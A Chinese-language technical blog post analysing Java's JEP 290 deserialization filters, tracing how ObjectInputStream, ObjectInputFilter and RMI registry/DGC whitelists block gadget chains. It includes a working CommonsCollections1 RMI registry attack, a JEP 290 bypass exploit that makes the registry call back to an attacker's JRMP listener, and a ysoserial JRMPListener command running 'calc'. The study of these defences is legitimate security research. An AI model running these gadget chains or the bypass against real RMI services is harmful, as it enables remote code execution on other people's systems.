JEP290 过滤器
2024-09-13 09:14:17 # javasec # basic

介绍

JEP是一个项目,全程是JDK Enhancement Proposal,而290是该项目其中一个编号290号,每个编号对应一种更新技术,该编号已经写到468去了

而其中的290号则是一个反序列化过滤器,是在JDK9版本中提出来的用来针对反序列化而提出的一种增强提议项目,后面开发者在JDK6 7 8的高版本中也移植了这项技术(反序列化防御过滤器)

所以说JEP290影响的版本如下

Java™ SE Development Kit 8, Update 121 (JDK 8u121)

Java™ SE Development Kit 7, Update 131 (JDK 7u131)

Java™ SE Development Kit 6, Update 141 (JDK 6u141)

作用

  1. 提供一个限制反序列化类的机制,白名单或者黑名单。
  2. 限制反序列化的深度和复杂度。
  3. 为 RMI 远程调用对象提供了一个验证类的机制。
  4. 定义一个可配置的过滤机制,比如可以通过配置 properties 文件的形式来定义过滤器。
  • Provide a flexible mechanism to narrow the classes that can be deserialized from any class available to an application down to a context-appropriate set of classes.【提供了一个灵活的机制,将可以反序列化的类从应用程序类缩小到适合上下文的类集(也就是说提供一个限制反序列化的类的机制,黑白名单方式)。】
  • Provide metrics to the filter for graph size and complexity during deserialization to validate normal graph behaviors.(限制反序列化深度和复杂度)
  • Provide a mechanism for RMI-exported objects to validate the classes expected in invocations.【为 RMI 导出的对象设置了验证机制。( 比如对于 RegistryImpl , DGCImpl 类内置了默认的白名单过滤)】
  • The filter mechanism must not require subclassing or modification to existing subclasses of ObjectInputStream.
  • Define a global filter that can be configured by properties or a configuration file.(提供一个全局过滤器,可以从属性或者配置文件中配置)

JEP核心类

JEP 290 涉及的核心类有: ObjectInputStream 类,ObjectInputFilter 接口,Config 静态类以及 Global 静态类。其中 Config 类是 ObjectInputFilter接口的内部类,Global 类又是Config类的内部类。

RMI防御

这里我使用RMI里面的代码起了一个registry服务端,然后通过attackRegistry的bind攻击去攻击他

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package RMI.JEP290;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class attackRegistry {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry(1099);
Remote remote = (Remote) Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[]{Remote.class},(InvocationHandler) CC1());
registry.bind("exp",remote);

}

public static Object CC1() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);

Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader()
, new Class[]{Map.class}, invocationHandler);
Object obj = declaredConstructor.newInstance(Override.class, proxyMap);
return obj;
}
}

结果发现当我将jdk版本切换到121以上,这里我使用的是202版本,oracle官网的jdk下载有点怪,144版本的下载链接是202,无所谓这里只要是121以上版本都行

可以看到攻击脚本报错,然后服务端显示被java.io.ObjectInputStream filterCheck拦截到了

这里可以很明显的知道传入的AnnotationInvocationHandler对象在ObjectInputFilter类里面被拒绝了,这个ObjectInputFilter也就是前面提到的核心类

RMI防御原理分析

这里跟进一下readOrdinaryObject方法,就到了核心类ObjectInputStream里面了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
private Object readOrdinaryObject(boolean unshared)
throws IOException
{
if (bin.readByte() != TC_OBJECT) {
throw new InternalError();
}

ObjectStreamClass desc = readClassDesc(false);
desc.checkDeserialize();

Class<?> cl = desc.forClass();
if (cl == String.class || cl == Class.class
|| cl == ObjectStreamClass.class) {
throw new InvalidClassException("invalid class descriptor");
}

Object obj;
try {
obj = desc.isInstantiable() ? desc.newInstance() : null;
} catch (Exception ex) {
throw (IOException) new InvalidClassException(
desc.forClass().getName(),
"unable to create instance").initCause(ex);
}

passHandle = handles.assign(unshared ? unsharedMarker : obj);
ClassNotFoundException resolveEx = desc.getResolveException();
if (resolveEx != null) {
handles.markException(passHandle, resolveEx);
}

if (desc.isExternalizable()) {
readExternalData((Externalizable) obj, desc);
} else {
readSerialData(obj, desc);
}

handles.finish(passHandle);

if (obj != null &&
handles.lookupException(passHandle) == null &&
desc.hasReadResolveMethod())
{
Object rep = desc.invokeReadResolve(obj);
if (unshared && rep.getClass().isArray()) {
rep = cloneArray(rep);
}
if (rep != obj) {
// Filter the replacement object
if (rep != null) {
if (rep.getClass().isArray()) {
filterCheck(rep.getClass(), Array.getLength(rep));
} else {
filterCheck(rep.getClass(), -1);
}
}
handles.setObject(passHandle, obj = rep);
}
}

return obj;
}

这个方法是反序列化的核心类,主要作用是返回类描述符,并判断该描述符是否能解析为本地类,具体跟进一下

可以看到,通过读取第一个字节TC为125知道他是一个Proxy代理类,所以将使用readProxyDesc对其进行进一步解析

下断点这里对ClassDesc的所有接口进行了filterCheck,跟进看看check了什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
private void filterCheck(Class<?> clazz, int arrayLength)
throws InvalidClassException {
if (serialFilter != null) {
RuntimeException ex = null;
ObjectInputFilter.Status status;
// Info about the stream is not available if overridden by subclass, return 0
long bytesRead = (bin == null) ? 0 : bin.getBytesRead();
try {
status = serialFilter.checkInput(new FilterValues(clazz, arrayLength,
totalObjectRefs, depth, bytesRead));
} catch (RuntimeException e) {
// Preventive interception of an exception to log
status = ObjectInputFilter.Status.REJECTED;
ex = e;
}
if (status == null ||
status == ObjectInputFilter.Status.REJECTED) {
// Debug logging of filter checks that fail
if (Logging.infoLogger != null) {
Logging.infoLogger.info(
"ObjectInputFilter {0}: {1}, array length: {2}, nRefs: {3}, depth: {4}, bytes: {5}, ex: {6}",
status, clazz, arrayLength, totalObjectRefs, depth, bytesRead,
Objects.toString(ex, "n/a"));
}
InvalidClassException ice = new InvalidClassException("filter status: " + status);
ice.initCause(ex);
throw ice;
} else {
// Trace logging for those that succeed
if (Logging.traceLogger != null) {
Logging.traceLogger.finer(
"ObjectInputFilter {0}: {1}, array length: {2}, nRefs: {3}, depth: {4}, bytes: {5}, ex: {6}",
status, clazz, arrayLength, totalObjectRefs, depth, bytesRead,
Objects.toString(ex, "n/a"));
}
}
}
}

可以看到下面就是前面的报错信息内容了,前面filter的核心判断就发生在try代码块这里,每次filter不同就只有传入的clazz参数,这里最开始过滤的是Remote接口

status = serialFilter.checkInput(new FilterValues(clazz, arrayLength,totalObjectRefs, depth, bytesRead));

首先new了一个FilterValues静态类,ObjectInputStream里面的内部静态类,是在JEP290之后加入进来的,并且基础了ObjectInputFilter.FilterInfo接口,也就是前面所说的核心类

这里的构造函数接受了四个参数,包括Class对象,数组长度,对象引用数,反序列化深度,反序列化字节长度,总共就对应了前面JEP290的作用里面判断的几个参数

接着回过来继续分析checkInput这个方法,具体是怎么过滤的,并且这里的这个方法是通过serialFilter属性进行调用的

这个属性对应的一个ObjectInputFilter对象

这是一个接口,而RegistryImpl定义了一个内部类实现了这个接口

这里是动态生成的匿名类,所以调试不进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private static ObjectInputFilter.Status registryFilter(ObjectInputFilter.FilterInfo var0) {
if (registryFilter != null) {
ObjectInputFilter.Status var1 = registryFilter.checkInput(var0);
if (var1 != Status.UNDECIDED) {
return var1;
}
}

if (var0.depth() > 20L) {
return Status.REJECTED;
} else {
Class var2 = var0.serialClass();
if (var2 != null) {
if (!var2.isArray()) {
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
} else {
return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;
}
} else {
return Status.UNDECIDED;
}
}
}

这个代码也挺好懂,首先判断registryFilter是否为null,这里可以不怎么管

接着判断对象深度,也就是嵌套了多少层,如果超过了20层则就说明这是一个复杂的对象,那么反序列化这个对象就会存在一些安全风险,接着通过var0.serialClass()获取这个类,看他是不是数组对象,如果是数组对象则判断他的元素是否超过了1000000 个元素,如果超过了就说明存在安全风险不允许反序列化,最后如果不是数组则判断这个对象是否在白名单里面<font style="color:rgb(6, 6, 7);">String、Number、Remote、Proxy、UnicastRef、RMIClientSocketFactory、RMIServerSocketFactory、ActivationID 和 UID</font>很明显这里是满足条件的

第二继续往下面递归到AnnotationInvocationHandler 类时

进入了readNonProxyDesc方法

同样的也有filterCheck,只是不同于Proxy代理类的check需要检查继承接口,这里在开始反序列化对象内容之前就调用filterCheck检查这个Class类

最终在白名单这里被拦下了

最终就有了最开始的报错信息日志

到这就分析完毕了,我们可以把jdk版本切换66这种低版本看看有什么区别

首先第一个区别就是,Skel这里断不下来,所以我们就直接在ObjectInputStream里面下断点

可以看到这里skipCustomData执行之前没有filterCheck

另外readNonProxyDesc方法也是一样

也没有过滤器检查

JEP290源码分析

ObjectInputStream

首先看到JEP290应用的第一个地方,在ObejctInputStream所做的修改,而ObejctInputStream这个类之前在分析反序列化源码的时候就知道这是一个用于将字节流转化为对象的类,上面两张图是jdk66和jdk202的比较,新版本的构造函数中多了一个serialFilter = ObjectInputFilter.Config.getSerialFilter();这个是JEP290引入的反序列化过滤器

通过ObjectInputFilter.Config.getSerialFilter()方法获取

ObjectInputFilter是一个借口前面已经分析过了

可以看到这个借口定义了两个内部静态类,Config和Config.Global

跟进getSerialFilter方法发现他是直接获取ObjectInputFilter#Config静态类的serialFilter静态属性,这个serialFilter属性是一个继承ObjectInputFilter的类,他需要实现checkInput方法

前面攻击registry时提示的时java.io.ObjectInputStream filterCheck方法出现了以上报错信息,我们跟进一下filterCheck看看

这里前面已经在分析RMI防御过程中分析了,所以说JEP290具体的过滤器其实就是ObjectInputStream类中的serialFilter属性,而这个属性为ObjectInputFilter#Config 静态类的 serialFilter 静态字段,所以我们在自定义JEP290防御反序列化的时候只需要给ObjectInputFilter#Config.serialFilter配置成自己的过滤器就能按照指定规则进行过滤

ObjectInputFilter

前面其实分析得差不多了,这里就重点分析一下Config这个内部静态类

checkInput:过滤器具体过滤规则,自定义过滤器需要继承的方法

FilterInfo:过滤对象,包括Class对象,数组数量,对象深度,引用数量,字节流长度

Status:枚举类,定义了过滤器的几种结果,UNDECIDED,ALLOWED,REJECTED

@FunctionalInterface这个注释是函数式接口的注释,这个注释制定了该接口只能有一个抽象方法,这里就是只有一个checkInput方法,这个函数式接口可以隐式转换成lambda匿名函数,也就是直接使用lambda表达式来实现函数式接口的实现

Config

来看下这个Config内部静态类,这里的static代码块在类初始化的时候对serialFilter属性进行了赋值,而这个值configuredFilter是通过以下代码获取的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private static final ObjectInputFilter configuredFilter = (ObjectInputFilter)AccessController.doPrivileged(() -> {
String var0 = System.getProperty("jdk.serialFilter");
if (var0 == null) {
var0 = Security.getProperty("jdk.serialFilter");
}

if (var0 != null) {
PlatformLogger var1 = PlatformLogger.getLogger("java.io.serialization");
var1.info("Creating serialization filter from {0}", new Object[]{var0});

try {
return createFilter(var0);
} catch (RuntimeException var3) {
var1.warning("Error configuring filter: {0}", var3);
}
}

return null;
});

这里首先按照JVM和java.security的顺序获取jdk.serialFilter 属性,然后将属性传下去进行生产过滤器

里面又是通过createFilter方法来获取

接着调用Global的createFilter方法

然后使用Global类的构造函数,第一参数var0传入过滤器配置,第二参数传入true表示允许未知类被反序列化。所以最终Config.serialFilter会被赋值成一个Global对象

而该Global对象的filters属性就为JVM获取的jdk.serailFilter属性对应的Function列表

所以说这里相当于初始化的过程中创建了一个全局过滤器,具体流程为

ObjectInputStream在构造函数里面调用Config.serialFilter获取

然后Config.serialFilter通过配置 JVM 的 jdk.serialFilter 或者%JAVA_HOME%\conf\security\java.security 文件的 jdk.serialFilter 字段值来配置

所以说这里就是全局过滤器配置的地方,有些框架会直接在Config.serialFilter进行设置全局过滤器,weblogic就是在启动的时候设置 Config.serialFilter 为WebLogicObjectInputFilterWrapper 对象来配置全局过滤器

Global

Global对象自己本身就是一个过滤器,默认全局过滤器,他实现了checkInput方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public Status checkInput(FilterInfo var1) {
if (var1.references() >= 0L && var1.depth() >= 0L && var1.streamBytes() >= 0L && var1.references() <= this.maxReferences && var1.depth() <= this.maxDepth && var1.streamBytes() <= this.maxStreamBytes) {
Class var2 = var1.serialClass();
if (var2 == null) {
return ObjectInputFilter.Status.UNDECIDED;
} else {
if (var2.isArray()) {
if (var1.arrayLength() >= 0L && var1.arrayLength() > this.maxArrayLength) {
return ObjectInputFilter.Status.REJECTED;
}

if (!this.checkComponentType) {
return ObjectInputFilter.Status.UNDECIDED;
}

do {
var2 = var2.getComponentType();
} while(var2.isArray());
}

if (var2.isPrimitive()) {
return ObjectInputFilter.Status.UNDECIDED;
} else {
Optional var4 = this.filters.stream().map((var1x) -> {
return (Status)var1x.apply(var2);
}).filter((var0) -> {
return var0 != ObjectInputFilter.Status.UNDECIDED;
}).findFirst();
return (Status)var4.orElse(ObjectInputFilter.Status.UNDECIDED);
}
}
} else {
return ObjectInputFilter.Status.REJECTED;
}
}

这里定义了this.maxArrayLength,this.checkComponentType,this.filters几个参数来进行过滤

这里重点在this.filters这里,前面我们在构造函数那里可以知道

filters这个属性就是通过JVM或者security获取的jdk.serialFilter字段,然后在checkInput这里遍历这些filter来对反序列化对象进行过滤

总之Global对象可以理解为一个反序列化过滤器生成器,在构造函数中利用JVM和security里面提供的jdk.serialFilter来进行配置,所以这个类为JEP290的核心,因为他定义了默认的过滤规则,包括递归深度一系列的,filter字段是函数黑白名单的列表,也是自定义的

Global 实现了ObjectInputFilter接口,所以是可以直接赋值到 ObjectInputStream.serialFilter 上。

Global#filters 字段是一个函数列表。

Global 类中的 chekInput 方法会遍历 Global#filters 的函数,传入需要检查的 FilterValues进行检查(FilterValues 中包含了要检查的 class, arrayLength,以及 depth 等)。

过滤器

第一种是通过配置文件或者 JVM 属性来配置的全局过滤器,

第二种则是来通过改变 ObjectInputStream 的 serialFilter 属性来配置的局部过滤器。

weblogic全局过滤器

后面学weblogic再看

在 weblogic 启动的时候,会赋值 Config.serialFilterWebLogicObjectInputFilterWrapper

局部过滤器

通过ObjectInputStream的setInternalObjectInputFilter 这个API来局部设置

还有一个Config.setObjectInputFilter

RMI registry局部过滤器

从前面RMI防御部分我们可以知道,在RMI攻击registry的时候使用的checkInput不是默认的全局过滤器,而是registry自带的filter过滤器,而这个过滤去就是通过setInternalObjectInputFilter方法来设置的,这里我们跟进下局部过滤器的创建过程

这里setup多了一个参数,setup(new UnicastServerRef(lref, RegistryImpl::registryFilter))

RegistryImpl.filter属性通过RegistryImpl::registryFilter这个静态方法获取,跟进看下

这里通过initRegistryFilter方法来创建的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private static ObjectInputFilter initRegistryFilter() {
ObjectInputFilter filter = null;
String props = System.getProperty(REGISTRY_FILTER_PROPNAME);
if (props == null) {
props = Security.getProperty(REGISTRY_FILTER_PROPNAME);
}
if (props != null) {
filter = ObjectInputFilter.Config.createFilter2(props);
Log regLog = Log.getLog("sun.rmi.registry", "registry", -1);
if (regLog.isLoggable(Log.BRIEF)) {
regLog.log(Log.BRIEF, "registryFilter = " + filter);
}
}
return filter;
}

这里首先按照JVM和java security配置文件路径的顺序读取了props,然后传入ObjectInputFilter.Config.createFilter2方法中进行创建filter

后面的逻辑就跟前面分析的不一样了,下面是JVM默认的配置文件的白名单

最终回到registryFilter这个静态方法

可以看到这里先检查有没有registryFilter属性,也就是前面通过JVM配置的过滤器,如果没有就默认使用自带的过滤规则

这个规则设置了白名单过滤,接着我们继续跟进看看是在哪个位置将RegistryImpl对象的filter属性给传到ObjectInputStream里面的

前面我们只分析到skel具体反序列化这里,但是运行到这里之前,局部过滤器就已经设置成功了

这里我也不卖关子了

局部过滤器的创建就在上图断点位置,也就是在UnicastServerRef.dispatch里面判断出skel不为空进入olddispatch方法后

然后在olddispatch方法中unmarshalCustomCallData(in);代码里面进行了过滤器配置

这里就使用到了ObjectInputFilter.Config.setObjectInputFilter(ois, filter)

这就是Registry局部过滤器的创建过程,当然还有DGC的也是类似

DGCimpl 局部过滤器

可以看到跟Registryimpl的一样,读配置,有配置就用自定义,没配置就用默认过滤器

总结

默认全局过滤器只会过滤一些深度长度之内的,并且默认过滤器是使用的黑名单过滤规则,也就是说JEP290默认需要手动配置,而RMI是jdk专门写了一个白名单过滤器。

JEP290默认只提供给RMI的Registry DGC层以及JMX提供了内置过滤功能

白名单

在RegistryImpl#registryFilter中的白名单内容有:

  • String
  • Number
  • Remote
  • Proxy
  • UnicastRef
  • RMIClientSocketFactory
  • RMIServerSocketFactory
  • ActivationID
  • UID

在DGCImpl#checkInput中的白名单内容有:

  • ObjID
  • UID
  • VMID
  • Lease

JEP290绕过

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package RMI.Attack;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.lang.reflect.Proxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class JEP290bypass {
public static void main(String[] args) throws Exception {
Registry reg = LocateRegistry.getRegistry(1099);
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 2333);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JEP290bypass.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
reg.bind("pysnow",proxy);
}
}

1
java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections6 "calc"

原理分析

原理总结

原理就是利用DGC会监控远程对象生命周期这一特点,攻击Registry服务端的时候往Registry传一个远程对象,而且是远程对象的stub(UniCastRef对象),而UniCastRef对象在反序列化还原的时候因为本身就是白名单里面的类所以不会拦截,并且将UniCastRef对象封装成RemoteObject时会使用rmi自己编写的反序列化逻辑readExternal方法,而该方法一般用于Registry查询出来客户端想要的远程对象引用并发给客户端也就是我们自己的,这里我们相当于发个stub客户端给Registry服务端,服务端在反序列化时就会跟客户端处理收到的stub一样将它顺便交给DGC管理,而Registry现在就作为DGC客户端给这个UniCastRef指定的TCPEndpoint发送dirty请求

而dirty请求会接受DGC服务端的传过来的对象序列化流进行反序列化,而这个操作中

是没有像Registry一样setObjectInputFilter进行添加局部过滤器的,所以就能直接反序列化恶意对象。

这个绕过方式的核心点就是JEP290设置的白名单过滤都是针对客户端发送过来的数据进行过滤,但是没有考虑到DGC会进行返连这一特性,但实际上最终点其实不是通过反弹shel这种返连,而是利用了DGC客户端处理数据时默认没有过滤这一点采取选择的让Registry作为DGC客户端进行返连攻击,所以说这一绕过方式在jdk231版本就直接通过给DGC客户端添加过滤就防御住了,该防御方法在后面使用了新的反序列化gadget进行绕过直到jdk8u241被修复(这一点就不是JEP290的范畴了,而是RMI自身防御的范畴)

代码分析

这前面很好理解,就是Registry解析客户端传送过来的远程对象并反序列化的过程,这里我们跟进一下反序列化过程对于UniCastRef对象是怎么处理的

这里使用的是RemoteObject的readObject方法,该方法调用了ref属性的readExternal方法也就是增强版的readObject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static LiveRef read(ObjectInput in, boolean useNewFormat)
throws IOException, ClassNotFoundException
{
Endpoint ep;
ObjID id;

// Now read in the endpoint, id, and result flag
// (need to choose whether or not to read old JDK1.1 endpoint format)
if (useNewFormat) {
ep = TCPEndpoint.read(in);
} else {
ep = TCPEndpoint.readHostPortFormat(in);
}
id = ObjID.read(in);
boolean isResultStream = in.readBoolean();

LiveRef ref = new LiveRef(id, ep, false);

if (in instanceof ConnectionInputStream) {
ConnectionInputStream stream = (ConnectionInputStream)in;
// save ref to send "dirty" call after all args/returns
// have been unmarshaled.
stream.saveRef(ref);
if (isResultStream) {
// set flag in stream indicating that remote objects were
// unmarshaled. A DGC ack should be sent by the transport.
stream.setAckNeeded();
}
} else {
DGCClient.registerRefs(ep, Arrays.asList(new LiveRef[] { ref }));
}

return ref;
}

这里将ObjectID和TCPEndpoint对象反序列化后封装成LiveRef对象

然后调用stream.saveRef方法将该ref存进了DGC的监控列表,这个其实很好理解,就是客户端在收到Registry返回回来的远程对象stub时DGC客户端会对其进行生命周期的管理

该方法的逻辑就是将ref存在了一个静态表里面incomingRefTable

最后回到RegistryImpl_Skel这里,调用了call.releaseInputStream();方法,这个代码就是用来释放资源的,就是Registry已经处理完了数据流已经不需要反序列化了后面的操作都不需要远程交互,所以就直接释放各种资源了,当然里面也包含了DGC生命周期的管理

这里调用in.registerRefs();,这个方法看注释就知道,将远程对象ref添加到DGC表,这个表不是前面提到的incomingRefTable

首先会判断这个表为不为空,不为空就将incomingRefTable中的内容取出来调用DGCClient.registerRefs方法进行处理

接着调用这个封装的DGCClient对象的registerRefs方法进行注册应用,其实这里就可以知道Registry服务器已经作为一个DGC客户端了,其原因就是我们传过去的UniCastRef创建的incomingRefTable

这里把传进来的DGCClient对象放到了refTable里面,也就是前面提到的表

最后添加的refsToDirty这个表里面,看名字就可以知道是DGC客户端需要发送dirty请求的DGC服务端表

最好调用makeDirtyCall方法想我们指定的JRMP服务端发送dirty请求

接着就是dgc.dirty,可以看到这前面没有添加局部过滤器的操作

这里前面几个writeObject就是在给DGC服务端发送数据,最后的ref.invoke才是处理DGC服务端的响应结果

最终这里接受JRMP服务端返回回来的响应信息进行反序列化从而达到RCE

进入Objectinputstream里面可以看到serialFilter属性为空,也就是默认过滤器

参考资料

https://xz.aliyun.com/t/10170
https://drun1baby.top/2023/04/18/%E6%B5%85%E8%B0%88-JEP290/
https://xz.aliyun.com/t/8706
https://www.viewofthai.link/2023/04/12/jep290-%E7%90%86%E8%AE%BA%E9%83%A8%E5%88%86/
https://cloud.tencent.com/developer/article/2204439